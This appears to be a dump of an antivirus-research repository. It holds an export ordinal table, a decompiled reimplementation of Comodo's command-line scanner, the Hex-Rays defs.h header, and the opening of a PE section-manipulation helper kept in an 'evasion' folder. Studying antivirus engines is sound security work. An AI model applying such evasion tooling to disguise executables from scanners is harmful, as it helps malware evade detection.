293:'LPSAFEARRAY_UserUnmarshal', 294 | 294:'LPSAFEARRAY_UserFree', 295 | 295:'LPSAFEARRAY_Size', 296 | 296:'LPSAFEARRAY_Marshal', 297 | 297:'LPSAFEARRAY_Unmarshal', 298 | 298:'VarDecCmpR8', 299 | 299:'VarCyAdd', 300 | 300:'DllUnregisterServer', 301 | 301:'OACreateTypeLib2', 302 | 303:'VarCyMul', 303 | 304:'VarCyMulI4', 304 | 305:'VarCySub', 305 | 306:'VarCyAbs', 306 | 307:'VarCyFix', 307 | 308:'VarCyInt', 308 | 309:'VarCyNeg', 309 | 310:'VarCyRound', 310 | 311:'VarCyCmp', 311 | 312:'VarCyCmpR8', 312 | 313:'VarBstrCat', 313 | 314:'VarBstrCmp', 314 | 315:'VarR8Pow', 315 | 316:'VarR4CmpR8', 316 | 317:'VarR8Round', 317 | 318:'VarCat', 318 | 319:'VarDateFromUdateEx', 319 | 322:'GetRecordInfoFromGuids', 320 | 323:'GetRecordInfoFromTypeInfo', 321 | 325:'SetVarConversionLocaleSetting', 322 | 326:'GetVarConversionLocaleSetting', 323 | 327:'SetOaNoCache', 324 | 329:'VarCyMulI8', 325 | 330:'VarDateFromUdate', 326 | 331:'VarUdateFromDate', 327 | 332:'GetAltMonthNames', 328 | 333:'VarI8FromUI1', 329 | 334:'VarI8FromI2', 330 | 335:'VarI8FromR4', 331 | 336:'VarI8FromR8', 332 | 337:'VarI8FromCy', 333 | 338:'VarI8FromDate', 334 | 339:'VarI8FromStr', 335 | 340:'VarI8FromDisp', 336 | 341:'VarI8FromBool', 337 | 342:'VarI8FromI1', 338 | 343:'VarI8FromUI2', 339 | 344:'VarI8FromUI4', 340 | 345:'VarI8FromDec', 341 | 346:'VarI2FromI8', 342 | 347:'VarI2FromUI8', 343 | 348:'VarI4FromI8', 344 | 349:'VarI4FromUI8', 345 | 360:'VarR4FromI8', 346 | 361:'VarR4FromUI8', 347 | 362:'VarR8FromI8', 348 | 363:'VarR8FromUI8', 349 | 364:'VarDateFromI8', 350 | 365:'VarDateFromUI8', 351 | 366:'VarCyFromI8', 352 | 367:'VarCyFromUI8', 353 | 368:'VarBstrFromI8', 354 | 369:'VarBstrFromUI8', 355 | 370:'VarBoolFromI8', 356 | 371:'VarBoolFromUI8', 357 | 372:'VarUI1FromI8', 358 | 373:'VarUI1FromUI8', 359 | 374:'VarDecFromI8', 360 | 375:'VarDecFromUI8', 361 | 376:'VarI1FromI8', 362 | 377:'VarI1FromUI8', 363 | 378:'VarUI2FromI8', 364 | 379:'VarUI2FromUI8', 365 | 401:'OleLoadPictureEx', 366 | 402:'OleLoadPictureFileEx', 367 | 411:'SafeArrayCreateVector', 368 | 412:'SafeArrayCopyData', 369 | 413:'VectorFromBstr', 370 | 414:'BstrFromVector', 371 | 415:'OleIconToCursor', 372 | 416:'OleCreatePropertyFrameIndirect', 373 | 417:'OleCreatePropertyFrame', 374 | 418:'OleLoadPicture', 375 | 419:'OleCreatePictureIndirect', 376 | 420:'OleCreateFontIndirect', 377 | 421:'OleTranslateColor', 378 | 422:'OleLoadPictureFile', 379 | 423:'OleSavePictureFile', 380 | 424:'OleLoadPicturePath', 381 | 425:'VarUI4FromI8', 382 | 426:'VarUI4FromUI8', 383 | 427:'VarI8FromUI8', 384 | 428:'VarUI8FromI8', 385 | 429:'VarUI8FromUI1', 386 | 430:'VarUI8FromI2', 387 | 431:'VarUI8FromR4', 388 | 432:'VarUI8FromR8', 389 | 433:'VarUI8FromCy', 390 | 434:'VarUI8FromDate', 391 | 435:'VarUI8FromStr', 392 | 436:'VarUI8FromDisp', 393 | 437:'VarUI8FromBool', 394 | 438:'VarUI8FromI1', 395 | 439:'VarUI8FromUI2', 396 | 440:'VarUI8FromUI4', 397 | 441:'VarUI8FromDec', 398 | 442:'RegisterTypeLibForUser', 399 | 443:'UnRegisterTypeLibForUser', 400 | } 401 | -------------------------------------------------------------------------------- /comodo/cmdscan.c: -------------------------------------------------------------------------------- 1 | /** Alternative version of the Comodo's "cmdscan" command line scanner. 2 | * Only for research purposes. 3 | * Author: Joxean Koret 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | #include "comodo.h" 20 | 21 | //---------------------------------------------------------------------- 22 | // Function declarations 23 | int main(int argc, char **argv, char **envp); 24 | void uninit_framework(); 25 | int scan_stream(char *src, char verbosed, int *scanned_files, int *virus_found); 26 | int IFrameWork_CreateInstance(); 27 | void dlclose_framework(); 28 | void load_framework(); 29 | void scan_directory(char *src, char verbose, int *scanned_fils, int *virus_found); 30 | 31 | //---------------------------------------------------------------------- 32 | // Typedef declarations 33 | typedef int (__fastcall *FnCreateInstance_t)( 34 | _QWORD, 35 | _QWORD, 36 | _QWORD, 37 | CFrameWork **); 38 | 39 | //---------------------------------------------------------------------- 40 | // Data declarations 41 | char *optarg; 42 | char *src = NULL; 43 | char verbose; 44 | char quiet = 0; 45 | __int64 g_base_component_0x20001; 46 | __int64 g_user_callbacks; 47 | CAEEngineDispatch *g_Engine; 48 | CFrameWork *g_FrameworkInstance; 49 | FnCreateInstance_t FnCreateInstance; 50 | void *hFrameworkSo; 51 | vtable_403310_t *vtable_403310; 52 | 53 | //---------------------------------------------------------------------- 54 | void usage(char *prog_name, int exit_code) 55 | { 56 | printf( 57 | "USAGE: %s -s [FILE] [OPTION...]\n" 58 | "-s: scan a file or a directory\n" 59 | "-q: quite mode\n" 60 | "-v: verbose mode, display more detailed output\n" 61 | "-h: this help screen\n", prog_name); 62 | exit(exit_code); 63 | } 64 | 65 | //---------------------------------------------------------------------- 66 | int main(int argc, char **argv, char **envp) 67 | { 68 | int opt; 69 | int scanned_files; 70 | int virus_found; 71 | 72 | scanned_files = 0; 73 | virus_found = 0; 74 | while ( 1 ) 75 | { 76 | opt = getopt(argc, argv, "s:vhq"); 77 | if ( opt == -1 ) 78 | break; 79 | switch ( opt ) 80 | { 81 | case 's': 82 | if ( access(optarg, 0) ) 83 | usage(argv[0], 1); 84 | 85 | src = realpath(optarg, NULL); 86 | if ( src == NULL ) 87 | { 88 | perror("realpath"); 89 | exit(1); 90 | } 91 | break; 92 | case 'v': 93 | verbose = 1; 94 | break; 95 | case 'q': 96 | quiet = 1; 97 | break; 98 | case 'h': 99 | usage(argv[0], 0); 100 | break; 101 | } 102 | } 103 | 104 | if ( !src ) 105 | usage(argv[0], 1); 106 | 107 | load_framework(); 108 | IFrameWork_CreateInstance(); 109 | 110 | if ( verbose ) 111 | fwrite("-----== Scan Start ==-----\n", 1uLL, 0x1BuLL, stdout); 112 | 113 | struct stat st; 114 | lstat(src, &st); 115 | if ( S_ISDIR(st.st_mode) ) 116 | scan_directory(src, verbose, &scanned_files, &virus_found); 117 | else 118 | scan_stream(src, verbose, &scanned_files, &virus_found); 119 | 120 | if ( verbose ) 121 | fwrite("-----== Scan End ==-----\n", 1uLL, 0x19uLL, stdout); 122 | 123 | if ( virus_found && !quiet ) 124 | { 125 | printf("Final number of Scanned Files: %d\n", scanned_files); 126 | printf("Final number of Found Viruses: %d\n", virus_found); 127 | } 128 | 129 | uninit_framework(); 130 | dlclose_framework(); 131 | return 0; 132 | } 133 | 134 | //---------------------------------------------------------------------- 135 | void uninit_framework() 136 | { 137 | g_base_component_0x20001 = 0; 138 | if ( g_Engine ) 139 | { 140 | g_Engine->baseclass_0->CAEEngineDispatch_Cancel(g_Engine); 141 | g_Engine->baseclass_0->CAEEngineDispatch_UnInit(g_Engine, 0); 142 | g_Engine = 0; 143 | } 144 | if ( g_FrameworkInstance ) 145 | { 146 | g_FrameworkInstance->baseclass_0->CFrameWork_UnInit(g_FrameworkInstance, 0); 147 | g_FrameworkInstance = 0; 148 | } 149 | } 150 | 151 | //---------------------------------------------------------------------- 152 | // Automatically generated from a (crappy) Python script, this is why 153 | // the switch is not ordered. 154 | const char *get_scanner_name(int id) 155 | { 156 | switch ( id ) 157 | { 158 | case 15: 159 | return "UNARCHIVE"; 160 | case 28: 161 | return "SCANNER_PE64"; 162 | case 27: 163 | return "SCANNER_MBR"; 164 | case 12: 165 | return "ENGINEDISPATCH"; 166 | case 7: 167 | return "UNPACK_STATIC"; 168 | case 22: 169 | return "SCANNER_EXTRA"; 170 | case 29: 171 | return "SCANNER_SMART"; 172 | case 16: 173 | return "CAVSEVM32"; 174 | case 6: 175 | return "SCANNER_SCRIPT"; 176 | case 9: 177 | return "SIGNMGR"; 178 | case 21: 179 | return "UNPACK_DUNPACK"; 180 | case 13: 181 | return "SCANNER_WHITE"; 182 | case 24: 183 | return "SCANNER_RULES"; 184 | case 8: 185 | return "UNPACK_GUNPACK"; 186 | case 10: 187 | return "FRAMEWORK"; 188 | case 3: 189 | return "SCANNER_PE32"; 190 | case 5: 191 | return "MEMORY_ENGINE"; 192 | case 23: 193 | return "UNPATCH"; 194 | case 2: 195 | return "SCANNER_DOSMZ"; 196 | case 4: 197 | return "SCANNER_PENEW"; 198 | case 0: 199 | return "Default"; 200 | case 17: 201 | return "CAVSEVM64"; 202 | case 20: 203 | return "UNSFX"; 204 | case 19: 205 | return "SCANNER_MEM"; 206 | case 14: 207 | return "MTENGINE"; 208 | case 1: 209 | return "SCANNER_FIRST"; 210 | case 18: 211 | return "SCANNER_HEUR"; 212 | case 26: 213 | return "SCANNER_ADVHEUR"; 214 | case 11: 215 | return "MEMTARGET"; 216 | case 25: 217 | return "FILEID"; 218 | default: 219 | return "Unknown"; 220 | } 221 | } 222 | 223 | //---------------------------------------------------------------------- 224 | void scan_directory(char *dirname, char verbose, int *scanned_files, int *virus_found) 225 | { 226 | DIR *d_fh; 227 | d_fh = opendir(dirname); 228 | if ( d_fh == NULL ) 229 | { 230 | fprintf(stderr, "Couldn't open directory: %s\n", dirname); 231 | perror("opendir"); 232 | return; 233 | } 234 | 235 | struct dirent *entry; 236 | while ( ( entry=readdir(d_fh) ) != NULL ) 237 | { 238 | if ( entry->d_name[0] != '.' ) 239 | { 240 | char longest_name[4096]; 241 | snprintf(longest_name, sizeof(longest_name)-1, "%s/%s", dirname, entry->d_name); 242 | if ( entry->d_type == DT_DIR ) 243 | scan_directory(longest_name, verbose, scanned_files, virus_found); 244 | else 245 | scan_stream(longest_name, verbose, scanned_files, virus_found); 246 | } 247 | } 248 | 249 | closedir(d_fh); 250 | } 251 | 252 | //---------------------------------------------------------------------- 253 | int scan_stream(char *src, char verbosed, int *scanned_files, int *virus_found) 254 | { 255 | struct_base_component_0x20001_t *base_component_0x20001; 256 | int result; 257 | HRESULT err; 258 | SCANRESULT scan_result; 259 | SCANOPTION scan_option; 260 | ICAVStream *inited_to_zero; 261 | 262 | memset(&scan_option, 0, sizeof(SCANOPTION)); 263 | memset(&scan_result, 0, sizeof(SCANRESULT)); 264 | scan_option.ScanCfgInfo = -1; 265 | scan_option.bScanPackers = 1; 266 | scan_option.bScanArchives = 1; 267 | scan_option.bUseHeur = 1; 268 | scan_option.bDunpackRealTime = 1; 269 | scan_option.bUseAdvHeur = 1; 270 | scan_option.bNotReportPackName = 0; 271 | scan_option.eSHeurLevel = enum_SHEURLEVEL_HIGH; 272 | base_component_0x20001 = *(struct_base_component_0x20001_t **)g_base_component_0x20001; 273 | scan_option.dwMaxFileSize = 0x2800000; 274 | scan_option.eOwnerFlag = enum_OWNER_ONDEMAND; 275 | scan_option.bDunpackRealTime = 1; 276 | scan_option.bNotReportPackName = 0; 277 | 278 | inited_to_zero = 0; 279 | result = base_component_0x20001->pfunc50( 280 | g_base_component_0x20001, 281 | (__int64 *)&inited_to_zero, 282 | (__int64)src, 283 | 1LL, 284 | 3LL, 285 | 0); 286 | err = result; 287 | if ( result >= 0 ) 288 | { 289 | err = g_Engine->baseclass_0->CAEEngineDispatch_ScanStream(g_Engine, inited_to_zero, &scan_option, &scan_result); 290 | if ( err >= 0 ) 291 | { 292 | (*scanned_files)++; 293 | if ( scanned_files ) 294 | { 295 | if ( scan_result.bFound ) 296 | { 297 | printf("%s ---> Malware: %s\n", src, scan_result.szMalwareName); 298 | if ( scan_result.unSignID ) 299 | printf("Signature ID: 0x%x\n", scan_result.unSignID); 300 | if ( scan_result.unScannerID ) 301 | printf("Scanner : %d (%s)\n", scan_result.unScannerID, get_scanner_name(scan_result.unScannerID)); 302 | if ( scan_result.ullTotalSize ) 303 | printf("Total size : %lld\n", scan_result.ullTotalSize); 304 | if ( scan_result.ullScanedSize ) 305 | printf("Scanned size: %lld\n", scan_result.ullScanedSize); 306 | if ( scan_result.ucrc1 || scan_result.ucrc2 ) 307 | printf("CRCs : 0x%x 0x%x\n", scan_result.ucrc1, scan_result.ucrc2); 308 | result = fflush(stdout); 309 | } 310 | else 311 | { 312 | if ( !quiet || scan_result.bInWhiteList ) 313 | { 314 | printf("%s ---> Not Virus\n", src); 315 | if ( scan_result.bInWhiteList ) 316 | printf("INFO: The file is white-listed.\n"); 317 | result = fflush(stdout); 318 | } 319 | } 320 | } 321 | } 322 | } 323 | if ( scan_result.bFound ) 324 | { 325 | if ( err >= 0 ) 326 | (*virus_found)++; 327 | } 328 | return result; 329 | } 330 | 331 | //---------------------------------------------------------------------- 332 | int IFrameWork_CreateInstance() 333 | { 334 | char *cur_dir; 335 | CFrameWork *hFramework; 336 | int cur_dir_len; 337 | CFrameWork *hInstance; 338 | int *v8; 339 | int *maybe_flags; 340 | 341 | hInstance = 0; 342 | if ( FnCreateInstance(0, 0, 0xF0000, &hInstance) < 0 ) 343 | { 344 | fwrite("CreateInstance failed!\n", 1uLL, 0x17uLL, stderr); 345 | exit(1); 346 | } 347 | 348 | BYTE4(maybe_flags) = 0; 349 | LODWORD(maybe_flags) = -1; 350 | g_FrameworkInstance = hInstance; 351 | cur_dir = get_current_dir_name(); 352 | hFramework = g_FrameworkInstance; 353 | cur_dir_len = strlen(cur_dir); 354 | if ( hFramework->baseclass_0->CFrameWork_Init(hFramework, cur_dir_len + 1, cur_dir, maybe_flags, 0) < 0 ) 355 | { 356 | fwrite("IFrameWork Init failed!\n", 1uLL, 0x18uLL, stderr); 357 | exit(1); 358 | } 359 | free(cur_dir); 360 | LODWORD(v8) = -1; 361 | BYTE4(v8) = 0; 362 | if ( g_FrameworkInstance->baseclass_0->CFrameWork_LoadScanners(g_FrameworkInstance, v8) < 0 ) 363 | { 364 | fwrite("IFrameWork LoadScanners failed!\n", 1uLL, 0x20uLL, stderr); 365 | exit(1); 366 | } 367 | if ( g_FrameworkInstance->baseclass_0->CFrameWork_CreateEngine(g_FrameworkInstance, (IAEEngineDispatch **)&g_Engine) < 0 ) 368 | { 369 | fwrite("IFrameWork CreateEngine failed!\n", 1uLL, 0x20uLL, stderr); 370 | exit(1); 371 | } 372 | if ( g_Engine->baseclass_0->CAEEngineDispatch_GetBaseComponent( 373 | g_Engine, 374 | (CAECLSID)0x20001, 375 | (IUnknown **)&g_base_component_0x20001) < 0 ) 376 | { 377 | fwrite("IAEEngineDispatch GetBaseComponent failed!\n", 1uLL, 0x2BuLL, stderr); 378 | exit(1); 379 | } 380 | return 0; 381 | } 382 | 383 | //---------------------------------------------------------------------- 384 | void dlclose_framework() 385 | { 386 | if ( hFrameworkSo ) 387 | dlclose(hFrameworkSo); 388 | } 389 | 390 | //---------------------------------------------------------------------- 391 | void load_framework() 392 | { 393 | chdir("/opt/COMODO"); 394 | hFrameworkSo = dlopen("./libFRAMEWORK.so", 1); 395 | if ( !hFrameworkSo ) 396 | { 397 | fprintf(stderr, "Error loading libFRAMEWORK: %s\n", dlerror()); 398 | exit(1); 399 | } 400 | 401 | FnCreateInstance = (FnCreateInstance_t)dlsym(hFrameworkSo, "CreateInstance"); 402 | if ( !FnCreateInstance ) 403 | { 404 | fprintf(stderr, "%s\n", dlerror()); 405 | exit(1); 406 | } 407 | } 408 | -------------------------------------------------------------------------------- /comodo/defs.h: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | This file contains definitions used by the Hex-Rays decompiler output. 4 | It has type definitions and convenience macros to make the 5 | output more readable. 6 | 7 | Copyright (c) 2007-2015 Hex-Rays 8 | 9 | */ 10 | 11 | #ifndef HEXRAYS_DEFS_H 12 | #define HEXRAYS_DEFS_H 13 | 14 | #if defined(__GNUC__) 15 | typedef long long ll; 16 | typedef unsigned long long ull; 17 | #define __int64 long long 18 | #define __int32 int 19 | #define __int16 short 20 | #define __int8 char 21 | #define MAKELL(num) num ## LL 22 | #define FMT_64 "ll" 23 | #elif defined(_MSC_VER) 24 | typedef __int64 ll; 25 | typedef unsigned __int64 ull; 26 | #define MAKELL(num) num ## i64 27 | #define FMT_64 "I64" 28 | #elif defined (__BORLANDC__) 29 | typedef __int64 ll; 30 | typedef unsigned __int64 ull; 31 | #define MAKELL(num) num ## i64 32 | #define FMT_64 "L" 33 | #else 34 | #error "unknown compiler" 35 | #endif 36 | typedef unsigned int uint; 37 | typedef unsigned char uchar; 38 | typedef unsigned short ushort; 39 | typedef unsigned long ulong; 40 | 41 | typedef char int8; 42 | typedef signed char sint8; 43 | typedef unsigned char uint8; 44 | typedef short int16; 45 | typedef signed short sint16; 46 | typedef unsigned short uint16; 47 | typedef int int32; 48 | typedef signed int sint32; 49 | typedef unsigned int uint32; 50 | typedef ll int64; 51 | typedef ll sint64; 52 | typedef ull uint64; 53 | 54 | // Partially defined types. They are used when the decompiler does not know 55 | // anything about the type except its size. 56 | #define _BYTE uint8 57 | #define _WORD uint16 58 | #define _DWORD uint32 59 | #define _QWORD uint64 60 | #if !defined(_MSC_VER) 61 | #define _LONGLONG __int128 62 | #endif 63 | 64 | // Non-standard boolean types. They are used when the decompiler can not use 65 | // the standard "bool" type because of the size mistmatch but the possible 66 | // values are only 0 and 1. See also 'BOOL' type below. 67 | typedef int8 _BOOL1; 68 | typedef int16 _BOOL2; 69 | typedef int32 _BOOL4; 70 | 71 | #ifndef _WINDOWS_ 72 | typedef int8 BYTE; 73 | typedef int16 WORD; 74 | typedef int32 DWORD; 75 | typedef int32 LONG; 76 | typedef int BOOL; // uppercase BOOL is usually 4 bytes 77 | #endif 78 | typedef int64 QWORD; 79 | #ifndef __cplusplus 80 | typedef int bool; // we want to use bool in our C programs 81 | #endif 82 | 83 | #define __pure // pure function: always returns the same value, has no 84 | // side effects 85 | 86 | // Non-returning function 87 | #if defined(__GNUC__) 88 | #define __noreturn __attribute__((noreturn)) 89 | #else 90 | #define __noreturn __declspec(noreturn) 91 | #endif 92 | 93 | 94 | #ifndef NULL 95 | #define NULL 0 96 | #endif 97 | 98 | // Some convenience macros to make partial accesses nicer 99 | // first unsigned macros: 100 | #define LOBYTE(x) (*((_BYTE*)&(x))) // low byte 101 | #define LOWORD(x) (*((_WORD*)&(x))) // low word 102 | #define LODWORD(x) (*((_DWORD*)&(x))) // low dword 103 | #define HIBYTE(x) (*((_BYTE*)&(x)+1)) 104 | #define HIWORD(x) (*((_WORD*)&(x)+1)) 105 | #define HIDWORD(x) (*((_DWORD*)&(x)+1)) 106 | #define BYTEn(x, n) (*((_BYTE*)&(x)+n)) 107 | #define WORDn(x, n) (*((_WORD*)&(x)+n)) 108 | #define BYTE1(x) BYTEn(x, 1) // byte 1 (counting from 0) 109 | #define BYTE2(x) BYTEn(x, 2) 110 | #define BYTE3(x) BYTEn(x, 3) 111 | #define BYTE4(x) BYTEn(x, 4) 112 | #define BYTE5(x) BYTEn(x, 5) 113 | #define BYTE6(x) BYTEn(x, 6) 114 | #define BYTE7(x) BYTEn(x, 7) 115 | #define BYTE8(x) BYTEn(x, 8) 116 | #define BYTE9(x) BYTEn(x, 9) 117 | #define BYTE10(x) BYTEn(x, 10) 118 | #define BYTE11(x) BYTEn(x, 11) 119 | #define BYTE12(x) BYTEn(x, 12) 120 | #define BYTE13(x) BYTEn(x, 13) 121 | #define BYTE14(x) BYTEn(x, 14) 122 | #define BYTE15(x) BYTEn(x, 15) 123 | #define WORD1(x) WORDn(x, 1) 124 | #define WORD2(x) WORDn(x, 2) // third word of the object, unsigned 125 | #define WORD3(x) WORDn(x, 3) 126 | #define WORD4(x) WORDn(x, 4) 127 | #define WORD5(x) WORDn(x, 5) 128 | #define WORD6(x) WORDn(x, 6) 129 | #define WORD7(x) WORDn(x, 7) 130 | 131 | // now signed macros (the same but with sign extension) 132 | #define SLOBYTE(x) (*((int8*)&(x))) 133 | #define SLOWORD(x) (*((int16*)&(x))) 134 | #define SLODWORD(x) (*((int32*)&(x))) 135 | #define SHIBYTE(x) (*((int8*)&(x)+1)) 136 | #define SHIWORD(x) (*((int16*)&(x)+1)) 137 | #define SHIDWORD(x) (*((int32*)&(x)+1)) 138 | #define SBYTEn(x, n) (*((int8*)&(x)+n)) 139 | #define SWORDn(x, n) (*((int16*)&(x)+n)) 140 | #define SBYTE1(x) SBYTEn(x, 1) 141 | #define SBYTE2(x) SBYTEn(x, 2) 142 | #define SBYTE3(x) SBYTEn(x, 3) 143 | #define SBYTE4(x) SBYTEn(x, 4) 144 | #define SBYTE5(x) SBYTEn(x, 5) 145 | #define SBYTE6(x) SBYTEn(x, 6) 146 | #define SBYTE7(x) SBYTEn(x, 7) 147 | #define SBYTE8(x) SBYTEn(x, 8) 148 | #define SBYTE9(x) SBYTEn(x, 9) 149 | #define SBYTE10(x) SBYTEn(x, 10) 150 | #define SBYTE11(x) SBYTEn(x, 11) 151 | #define SBYTE12(x) SBYTEn(x, 12) 152 | #define SBYTE13(x) SBYTEn(x, 13) 153 | #define SBYTE14(x) SBYTEn(x, 14) 154 | #define SBYTE15(x) SBYTEn(x, 15) 155 | #define SWORD1(x) SWORDn(x, 1) 156 | #define SWORD2(x) SWORDn(x, 2) 157 | #define SWORD3(x) SWORDn(x, 3) 158 | #define SWORD4(x) SWORDn(x, 4) 159 | #define SWORD5(x) SWORDn(x, 5) 160 | #define SWORD6(x) SWORDn(x, 6) 161 | #define SWORD7(x) SWORDn(x, 7) 162 | 163 | 164 | // Helper functions to represent some assembly instructions. 165 | 166 | #ifdef __cplusplus 167 | 168 | // compile time assertion 169 | #define __CASSERT_N0__(l) COMPILE_TIME_ASSERT_ ## l 170 | #define __CASSERT_N1__(l) __CASSERT_N0__(l) 171 | #define CASSERT(cnd) typedef char __CASSERT_N1__(__LINE__) [(cnd) ? 1 : -1] 172 | 173 | // check that unsigned multiplication does not overflow 174 | template bool is_mul_ok(T count, T elsize) 175 | { 176 | CASSERT((T)(-1) > 0); // make sure T is unsigned 177 | if ( elsize == 0 || count == 0 ) 178 | return true; 179 | return count <= ((T)(-1)) / elsize; 180 | } 181 | 182 | // multiplication that saturates (yields the biggest value) instead of overflowing 183 | // such a construct is useful in "operator new[]" 184 | template bool saturated_mul(T count, T elsize) 185 | { 186 | return is_mul_ok(count, elsize) ? count * elsize : T(-1); 187 | } 188 | 189 | #include // for size_t 190 | 191 | // memcpy() with determined behavoir: it always copies 192 | // from the start to the end of the buffer 193 | // note: it copies byte by byte, so it is not equivalent to, for example, rep movsd 194 | inline void *qmemcpy(void *dst, const void *src, size_t cnt) 195 | { 196 | char *out = (char *)dst; 197 | const char *in = (const char *)src; 198 | while ( cnt > 0 ) 199 | { 200 | *out++ = *in++; 201 | --cnt; 202 | } 203 | return dst; 204 | } 205 | 206 | // Generate a reference to pair of operands 207 | template int16 __PAIR__( int8 high, T low) { return ((( int16)high) << sizeof(high)*8) | uint8(low); } 208 | template int32 __PAIR__( int16 high, T low) { return ((( int32)high) << sizeof(high)*8) | uint16(low); } 209 | template int64 __PAIR__( int32 high, T low) { return ((( int64)high) << sizeof(high)*8) | uint32(low); } 210 | template uint16 __PAIR__(uint8 high, T low) { return (((uint16)high) << sizeof(high)*8) | uint8(low); } 211 | template uint32 __PAIR__(uint16 high, T low) { return (((uint32)high) << sizeof(high)*8) | uint16(low); } 212 | template uint64 __PAIR__(uint32 high, T low) { return (((uint64)high) << sizeof(high)*8) | uint32(low); } 213 | 214 | // rotate left 215 | template T __ROL__(T value, int count) 216 | { 217 | const uint nbits = sizeof(T) * 8; 218 | 219 | if ( count > 0 ) 220 | { 221 | count %= nbits; 222 | T high = value >> (nbits - count); 223 | if ( T(-1) < 0 ) // signed value 224 | high &= ~((T(-1) << count)); 225 | value <<= count; 226 | value |= high; 227 | } 228 | else 229 | { 230 | count = -count % nbits; 231 | T low = value << (nbits - count); 232 | value >>= count; 233 | value |= low; 234 | } 235 | return value; 236 | } 237 | 238 | inline uint8 __ROL1__(uint8 value, int count) { return __ROL__((uint8)value, count); } 239 | inline uint16 __ROL2__(uint16 value, int count) { return __ROL__((uint16)value, count); } 240 | inline uint32 __ROL4__(uint32 value, int count) { return __ROL__((uint32)value, count); } 241 | inline uint64 __ROL8__(uint64 value, int count) { return __ROL__((uint64)value, count); } 242 | inline uint8 __ROR1__(uint8 value, int count) { return __ROL__((uint8)value, -count); } 243 | inline uint16 __ROR2__(uint16 value, int count) { return __ROL__((uint16)value, -count); } 244 | inline uint32 __ROR4__(uint32 value, int count) { return __ROL__((uint32)value, -count); } 245 | inline uint64 __ROR8__(uint64 value, int count) { return __ROL__((uint64)value, -count); } 246 | 247 | // carry flag of left shift 248 | template int8 __MKCSHL__(T value, uint count) 249 | { 250 | const uint nbits = sizeof(T) * 8; 251 | count %= nbits; 252 | 253 | return (value >> (nbits-count)) & 1; 254 | } 255 | 256 | // carry flag of right shift 257 | template int8 __MKCSHR__(T value, uint count) 258 | { 259 | return (value >> (count-1)) & 1; 260 | } 261 | 262 | // sign flag 263 | template int8 __SETS__(T x) 264 | { 265 | if ( sizeof(T) == 1 ) 266 | return int8(x) < 0; 267 | if ( sizeof(T) == 2 ) 268 | return int16(x) < 0; 269 | if ( sizeof(T) == 4 ) 270 | return int32(x) < 0; 271 | return int64(x) < 0; 272 | } 273 | 274 | // overflow flag of subtraction (x-y) 275 | template int8 __OFSUB__(T x, U y) 276 | { 277 | if ( sizeof(T) < sizeof(U) ) 278 | { 279 | U x2 = x; 280 | int8 sx = __SETS__(x2); 281 | return (sx ^ __SETS__(y)) & (sx ^ __SETS__(x2-y)); 282 | } 283 | else 284 | { 285 | T y2 = y; 286 | int8 sx = __SETS__(x); 287 | return (sx ^ __SETS__(y2)) & (sx ^ __SETS__(x-y2)); 288 | } 289 | } 290 | 291 | // overflow flag of addition (x+y) 292 | template int8 __OFADD__(T x, U y) 293 | { 294 | if ( sizeof(T) < sizeof(U) ) 295 | { 296 | U x2 = x; 297 | int8 sx = __SETS__(x2); 298 | return ((1 ^ sx) ^ __SETS__(y)) & (sx ^ __SETS__(x2+y)); 299 | } 300 | else 301 | { 302 | T y2 = y; 303 | int8 sx = __SETS__(x); 304 | return ((1 ^ sx) ^ __SETS__(y2)) & (sx ^ __SETS__(x+y2)); 305 | } 306 | } 307 | 308 | // carry flag of subtraction (x-y) 309 | template int8 __CFSUB__(T x, U y) 310 | { 311 | int size = sizeof(T) > sizeof(U) ? sizeof(T) : sizeof(U); 312 | if ( size == 1 ) 313 | return uint8(x) < uint8(y); 314 | if ( size == 2 ) 315 | return uint16(x) < uint16(y); 316 | if ( size == 4 ) 317 | return uint32(x) < uint32(y); 318 | return uint64(x) < uint64(y); 319 | } 320 | 321 | // carry flag of addition (x+y) 322 | template int8 __CFADD__(T x, U y) 323 | { 324 | int size = sizeof(T) > sizeof(U) ? sizeof(T) : sizeof(U); 325 | if ( size == 1 ) 326 | return uint8(x) > uint8(x+y); 327 | if ( size == 2 ) 328 | return uint16(x) > uint16(x+y); 329 | if ( size == 4 ) 330 | return uint32(x) > uint32(x+y); 331 | return uint64(x) > uint64(x+y); 332 | } 333 | 334 | #else 335 | // The following definition is not quite correct because it always returns 336 | // uint64. The above C++ functions are good, though. 337 | #define __PAIR__(high, low) (((uint64)(high)<>y) 343 | #define __CFADD__(x, y) invalid_operation // Generate carry flag for (x+y) 344 | #define __CFSUB__(x, y) invalid_operation // Generate carry flag for (x-y) 345 | #define __OFADD__(x, y) invalid_operation // Generate overflow flag for (x+y) 346 | #define __OFSUB__(x, y) invalid_operation // Generate overflow flag for (x-y) 347 | #endif 348 | 349 | // No definition for rcl/rcr because the carry flag is unknown 350 | #define __RCL__(x, y) invalid_operation // Rotate left thru carry 351 | #define __RCR__(x, y) invalid_operation // Rotate right thru carry 352 | #define __MKCRCL__(x, y) invalid_operation // Generate carry flag for a RCL 353 | #define __MKCRCR__(x, y) invalid_operation // Generate carry flag for a RCR 354 | #define __SETP__(x, y) invalid_operation // Generate parity flag for (x-y) 355 | 356 | // In the decompilation listing there are some objects declarared as _UNKNOWN 357 | // because we could not determine their types. Since the C compiler does not 358 | // accept void item declarations, we replace them by anything of our choice, 359 | // for example a char: 360 | 361 | #define _UNKNOWN char 362 | 363 | #ifdef _MSC_VER 364 | #define snprintf _snprintf 365 | #define vsnprintf _vsnprintf 366 | #endif 367 | 368 | #endif // HEXRAYS_DEFS_H 369 | -------------------------------------------------------------------------------- /evasion/SectionDoubleP.py: -------------------------------------------------------------------------------- 1 | """ Tested with pefile 1.2.10-123 on 32bit PE executable files. 2 | 3 | An implementation to push or pop a section header to the section table of a PE file. 4 | For further information refer to the docstrings of pop_back/push_back. 5 | 6 | by n0p 7 | """ 8 | 9 | import pefile, pydasm, sys 10 | 11 | class SectionDoublePError(Exception): 12 | pass 13 | 14 | class SectionDoubleP: 15 | def __init__(self, pe): 16 | self.pe = pe 17 | 18 | def __adjust_optional_header(self): 19 | """ Recalculates the SizeOfImage, SizeOfCode, SizeOfInitializedData and 20 | SizeOfUninitializedData of the optional header. 21 | """ 22 | 23 | # SizeOfImage = ((VirtualAddress + VirtualSize) of the new last section) 24 | self.pe.OPTIONAL_HEADER.SizeOfImage = (self.pe.sections[-1].VirtualAddress + 25 | self.pe.sections[-1].Misc_VirtualSize) 26 | 27 | 